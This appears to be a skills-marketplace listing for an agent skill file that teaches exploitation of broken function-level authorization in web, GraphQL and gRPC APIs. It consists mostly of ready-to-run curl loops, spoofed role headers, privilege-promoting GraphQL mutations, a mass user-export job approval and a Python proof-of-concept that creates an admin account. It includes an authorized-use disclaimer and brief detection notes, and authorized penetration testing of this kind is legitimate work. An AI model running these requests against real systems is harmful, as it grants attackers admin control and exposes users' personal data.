Skip to main content

bfla

Broken Function Level Authorization (BFLA) — exploit action-level access control failures where lower-privileged principals invoke admin/staff functions across REST, GraphQL, gRPC, WebSocket, and background job paths.

الانتقال إلى التثبيت

معلومات المصدر

المستودع
BitterSecurity/Decepticon
آخر نشاط في المصدر
٣٠ مايو ٢٠٢٦ في ٠١:٢٩
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٥٬٥٦٥
التفرعات
١٬٠٥٣

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
bfla
description
Broken Function Level Authorization (BFLA) — exploit action-level access control failures where lower-privileged principals invoke admin/staff functions across REST, GraphQL, gRPC, WebSocket, and background job paths.
allowed-tools
Bash Read Write
metadata
{"subdomain":"authorization","when_to_use":"BFLA, broken function level authorization, function level access control, admin endpoint bypass, privilege escalation, admin api, method override, role bypass, action-level authorization, unauthorized action, admin function, GraphQL mutation privilege, gRPC method bypass, batch job auth, actor action matrix","tags":"web-application, authorization, privilege-escalation, api, owasp-api5","mitre_attack":"T1190, T1078.001, T1548"}
# Broken Function Level Authorization (BFLA) BFLA is an action-level access control failure: a lower-privileged principal successfully invokes a function (HTTP endpoint, GraphQL mutation, gRPC method, WebSocket event, background job action) that should be restricted to a higher-privileged role. It is distinct from IDOR (T1190 object-level) — the surface here is the *action itself*, not the object ID. Enforcement must bind actor to action at every transport layer and every service boundary, not just at the UI or API gateway. **Authorized use only.** Only test systems you are explicitly authorized to assess. Privilege escalation in production without authorization is a crime in most jurisdictions. ## Attack Surface - REST/JSON admin endpoints hidden from the UI but still live on the server - GraphQL mutations and admin fields absent from the published schema but introspectable - gRPC methods listed via server reflection that bypass gateway checks - WebSocket events where only the handshake was authorized - Background job create/finalize/approve endpoints that re-use session but skip role checks - Internal microservice RPCs reachable via SSRF or exposed routing - Feature flags enforced client-side / at edge but not at the core service ## High-Value Actions - Role/permission assignment, user impersonation, sudo/su endpoints - Refund, credit issuance, price override, order void/cancel - Export/bulk-download of all user data or PII - Account suspension, deletion, reactivation, verification override - Feature flag toggle, quota/grant adjustment, seat/license change - 2FA reset, email-change bypass, password-reset initiation for arbitrary accounts - Admin console CRUD (create user, delete user, assign group) ## Reconnaissance ### Build the Actor x Action Matrix Before fuzzing, enumerate the roles and their expected actions: ```bash # Capture all endpoints from JS bundles, API spec, and crawl # Extract role-specific API paths from the frontend curl -s https://<TARGET>/static/main.js | grep -oE '"/api/[^"]*"' | sort -u curl -s https://<TARGET>/openapi.json 2>/dev/null | python3 -c " import sys,json spec = json.load(sys.stdin) for path,methods in spec.get('paths',{}).items(): for method,info in methods.items(): tags = info.get('tags',[]) + info.get('x-roles',[]) + info.get('security',[]) print(method.upper(), path, tags) " 2>/dev/null ``` For each discovered endpoint, note: HTTP method, expected minimum role, whether it appears in the UI for non-admin users. ### Obtain Sessions for Each Role ```bash # Register/obtain sessions for: unauthenticated, basic user, premium, staff, admin # Store cookies/tokens for each role curl -s -c unauthenticated.jar https://<TARGET>/api/me curl -s -c basic.jar -X POST https://<TARGET>/login -d 'user=basic&pass=<pass>' curl -s -c admin.jar -X POST https://<TARGET>/login -d 'user=admin&pass=<pass>' ``` ### Signals That BFLA Is Present - Endpoint returns 200 for a lower-role token where 403/401 is expected - Different HTTP methods on the same path have inconsistent enforcement (GET allowed, POST blocked — but PATCH is not) - Admin endpoints return a different error code (404 vs 403) — "security through obscurity" that still processes the request - Background job endpoints return 200 with a task ID even for non-admin callers - GraphQL mutation returns data when sent from a basic-user token ## Testing Methodology ### Step 1: Baseline with Admin Token Confirm each target action succeeds with the highest-privilege token first. This rules out the action being broken for everyone. ```bash # Example: create a user as admin curl -s -b admin.jar -X POST https://<TARGET>/api/admin/users \ -H 'Content-Type: application/json' \ -d '{"username":"testuser","role":"admin"}' | tee bfla_admin_baseline.txt ``` ### Step 2: Replay with Lower-Privilege Token Replay the identical request with the basic-user or unauthenticated token. Same path, same method, same body. ```bash curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \ -H 'Content-Type: application/json' \ -d '{"username":"testuser2","role":"admin"}' | tee bfla_basic_replay.txt # Diff: admin got 201 Created, basic should get 403 diff bfla_admin_baseline.txt bfla_basic_replay.txt ``` **Win condition:** basic-user request returns 200/201/204 (or produces a durable state change verified by subsequent GET) when the admin baseline returned 201. ### Step 3: Method Alternation Many frameworks register route handlers per-method independently. An admin-only POST may have an unguarded PUT/PATCH/DELETE. ```bash for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do echo -n "$method: " curl -s -o /dev/null -w "%{http_code}" -b basic.jar \ -X "$method" https://<TARGET>/api/admin/users/1 \ -H 'Content-Type: application/json' \ -d '{"role":"admin"}' echo done ``` Look for: method returning 200/204 where others return 403. Also try `X-HTTP-Method-Override: DELETE` on a POST request. ### Step 4: Transport / Encoding Alternation ```bash # JSON vs form-encoded (different middleware chains in some frameworks) curl -s -b basic.jar -X POST https://<TARGET>/api/admin/promote \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'user_id=2&role=admin' # Try path with/without trailing slash (different route matches in some routers) curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users/ ``` ### Step 5: GraphQL Mutations ```bash # Attempt admin mutation with a basic-user token curl -s -b basic.jar -X POST https://<TARGET>/graphql \ -H 'Content-Type: application/json' \ -d '{ "query": "mutation { updateUser(id: 2, role: ADMIN) { id role } }" }' | tee bfla_graphql.txt # Use aliases to batch privileged mutations and observe which succeed curl -s -b basic.jar -X POST https://<TARGET>/graphql \ -H 'Content-Type: application/json' \ -d '{ "query": "mutation { a: deleteUser(id: 3) { id } b: promoteUser(id: 2, role: ADMIN) { id role } }" }' ``` ### Step 6: Background Jobs and Webhooks Job-create endpoints are often allowed for all users; finalize/approve are not guarded independently: ```bash # Create job as basic user (allowed) JOB_ID=$(curl -s -b basic.jar -X POST https://<TARGET>/api/export \ -H 'Content-Type: application/json' \ -d '{"type":"all_users"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['job_id'])") # Finalize/approve job as basic user (should be 403) curl -s -b basic.jar -X POST https://<TARGET>/api/export/$JOB_ID/approve \ | tee bfla_job_approve.txt ``` ### Step 7: Header Trust Bypass Some backends trust identity headers injected by a gateway/proxy. Supply conflicting headers: ```bash curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \ -H 'X-User-Role: admin' \ -H 'X-Forwarded-User: admin' \ -H 'X-Auth-Role: staff' \ -H 'Content-Type: application/json' \ -d '{"username":"pwned","role":"admin"}' ``` ## Verification A confirmed BFLA finding requires: 1. **Baseline contrast:** admin token → 200/201; basic token → 200/201 (should be 403) 2. **Durable state change:** subsequent GET or audit log confirms the privileged action persisted 3. **Minimal repro:** single request that demonstrates the bypass (no intermediary steps) ```python import requests TARGET = "https://<TARGET>" BASIC = {"session": "<basic_session_cookie>"} ADMIN = {"session": "<admin_session_cookie>"} # Baseline: admin can promote r_admin = requests.post(f"{TARGET}/api/admin/users", cookies=ADMIN, json={"username": "probe", "role": "admin"}, timeout=5) assert r_admin.status_code in (200, 201), f"Admin baseline failed: {r_admin.status_code}" # BFLA: basic can too? r_basic = requests.post(f"{TARGET}/api/admin/users", cookies=BASIC, json={"username": "bfla_probe", "role": "admin"}, timeout=5) print(f"BFLA result: {r_basic.status_code} {r_basic.text[:200]}") # Confirm durable state me = requests.get(f"{TARGET}/api/users/bfla_probe", cookies=BASIC, timeout=5).json() print(f"Role in DB: {me.get('role')}") # should be 'admin' if BFLA succeeded ``` ## gRPC-Specific Testing ```bash # List methods via server reflection grpc_cli ls <TARGET>:443 --l # requires grpc_cli # Call admin method with basic-user token grpcurl -H "Authorization: Bearer <basic_token>" \ -d '{"user_id": 2, "role": "ADMIN"}' \ <TARGET>:443 com.example.AdminService/PromoteUser ``` ## Common Framework Weaknesses | Framework | Pattern | Gap | |-----------|---------|-----| | Express/Node | `router.post('/admin', adminMiddleware)` missing on `router.put` | Method alternation bypass | | Django DRF | `permission_classes = [IsAdmin]` set at ViewSet but missing on action-level `@action` | Custom action without permission decorator | | Spring Security | `antMatchers("/admin/**").hasRole("ADMIN")` but `/admin` (no slash) not matched | Trailing-slash bypass | | FastAPI | Dependency injection on route but not on background task handler | Background task runs with no caller | | GraphQL (generic) | Top-level query auth but resolver-level checks absent | Nested mutation bypass | ## ATT&CK Mapping - T1190 — Exploit Public-Facing Application (initial access via unguarded admin endpoint) - T1078.001 — Valid Accounts: Default Accounts (when function-level bypass yields admin account creation) - T1548 — Abuse Elevation Control Mechanism (privilege escalation via unguarded elevation endpoint) ## Detection Notes Defenders should look for: a non-admin session token successfully invoking `/admin/` or `/staff/` paths (log the 200 response code alongside the token's role claim), unexpected role changes in audit logs, and GraphQL mutations from non-staff tokens that modify privileged fields. ## Output Files ``` ./ ├── bfla_admin_baseline.txt # Proof admin action succeeds ├── bfla_basic_replay.txt # Proof basic-user bypass succeeds ├── bfla_<endpoint>_evidence.txt # Durable state-change proof (GET after write) └── bfla_summary.md # Matrix of tested actions, methods, transports, results ```
عرض على GitHub